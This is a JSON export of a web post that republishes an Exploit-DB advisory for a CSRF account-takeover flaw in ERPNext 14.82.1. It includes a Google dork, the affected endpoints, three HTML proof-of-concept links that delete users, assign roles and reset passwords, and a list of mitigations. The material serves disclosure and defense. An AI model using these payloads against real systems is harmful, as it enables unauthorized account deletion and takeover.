{"id":3213,"date":"2025-05-06T07:32:06","date_gmt":"2025-05-06T07:32:06","guid":{"rendered":"http:\/\/localhost\/?p=3213"},"modified":"2025-05-06T07:32:06","modified_gmt":"2025-05-06T07:32:06","slug":"erpnext-14821-account-takeover-via-cross-site-request-forgery-csrf","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=3213","title":{"rendered":"ERPNext 14.82.1 &#8211; Account Takeover via Cross-Site Request Forgery (CSRF)"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ERPNext 14.82.1 &#8211; Account Takeover via Cross-Site Request Forgery (CSRF)<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52283<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-06T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-06T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-28062<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: ERPNext 14.82.1 &#8211; Account Takeover via Cross-Site Request Forgery&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: ERPNext 14.82.1 &#8211; Account Takeover via Cross-Site Request Forgery (CSRF)<br \/>\n<br \/># Google Dork: inurl:&#8221;\/api\/method\/frappe&#8221;<br \/>\n<br \/># Date: 2025-04-29<br \/>\n<br \/># Exploit Author: Ahmed Thaiban (Thvt0ne)<br \/>\n<br \/># Vendor Homepage: https:\/\/erpnext.com<br \/>\n<br \/># Software Link: https:\/\/github.com\/frappe\/erpnext<br \/>\n<br \/># Version: <= 14.82.1, 14.74.3 (Tested)\n<br \/># Tested on: Linux (Ubuntu 20.04), Chrome, Firefox.<br \/>\n<br \/># CVE : CVE-2025-28062<br \/>\n<br \/># Category: WebApps<\/p>\n<p># Description:<br \/>\n<br \/>A Cross-Site Request Forgery (CSRF) vulnerability Lead to Account Takeover exists in ERPNext 14.82.1 and 14.74.3. This flaw allows an attacker to perform unauthorized state-changing operations on behalf of a logged-in administrator without their knowledge or consent.<\/p>\n<p>Affected endpoints include:<br \/>\n<br \/>&#8211; \/api\/method\/frappe.desk.reportview.delete_items<br \/>\n<br \/>&#8211; \/api\/method\/frappe.desk.form.save.savedocs<\/p>\n<p>Impact:<br \/>\n<br \/>&#8211; Deletion of arbitrary users<br \/>\n<br \/>&#8211; Unauthorized role assignment<br \/>\n<br \/>&#8211; Account takeover via password change<\/p>\n<p>The application fails to enforce CSRF tokens on administrative API requests, violating OWASP recommendations.<\/p>\n<p>&#8212;<\/p>\n<p># PoC 1: Delete a User<\/p>\n<p><html><br \/>\n<br \/>  <body><br \/>\n    <\/p>\n<h2>Delete User<\/h2>\n<p>    <a href=\"http:\/\/target\/api\/method\/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&#038;doctype=User\"><br \/>\n<br \/>      Click Here<br \/>\n<br \/>    <\/a><br \/>\n<br \/>  <\/body><br \/>\n<br \/><\/html><\/p>\n<p>&#8212;<\/p>\n<p># PoC 2: Assign Role<\/p>\n<p><html><br \/>\n<br \/>  <body><br \/>\n    <\/p>\n<h2>Assign Role to User<\/h2>\n<p>    <a href=\"http:\/\/target\/api\/method\/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&#038;action=Save\"><br \/>\n<br \/>      Add Role<br \/>\n<br \/>    <\/a><br \/>\n<br \/>  <\/body><br \/>\n<br \/><\/html><\/p>\n<p>&#8212;<\/p>\n<p># PoC 3: Reset Password<\/p>\n<p><html><br \/>\n<br \/>  <body><br \/>\n    <\/p>\n<h2>Reset User Password<\/h2>\n<p>    <a href=\"http:\/\/target\/api\/method\/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&#038;action=Save\"><br \/>\n<br \/>      Reset Password<br \/>\n<br \/>    <\/a><br \/>\n<br \/>  <\/body><br \/>\n<br \/><\/html><\/p>\n<p>&#8212;<\/p>\n<p># Mitigation:<br \/>\n<br \/>&#8211; Enforce CSRF protection for all administrative endpoints<br \/>\n<br \/>&#8211; Require POST methods for state changes<br \/>\n<br \/>&#8211; Mark cookies as SameSite=Strict<br \/>\n<br \/>&#8211; Implement re-authentication for critical user changes<\/p>\n<p>&#8212;<\/p>\n<p># Disclosure Timeline:<br \/>\n<br \/>&#8211; 2025-02-09: Vulnerability discovered<br \/>\n<br \/>&#8211; 2025-02-10: Reported to Frappe (no response)<br \/>\n<br \/>&#8211; 2025-04-29: Public disclosure via CVE + advisory<\/p>\n<p>&#8212;<\/p>\n<p># Author Contact:<br \/>\n<br \/>LinkedIn: https:\/\/linkedin.com\/in\/ahmedth<br \/>\n<br \/>GitHub: https:\/\/github.com\/Thvt0ne<\/p>\n<p># References:<br \/>\n<br \/>&#8211; https:\/\/owasp.org\/www-community\/attacks\/csrf\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52283\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title ERPNext 14.82.1 &#8211; Account Takeover via Cross-Site Request Forgery (CSRF) Exploit ID EDB-ID:52283 Type exploitdb Published 2025-05-06T00:00:00 Modified 2025-05-06T00:00:00&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-3213","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3213\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ERPNext 14.82.1 &#8211; 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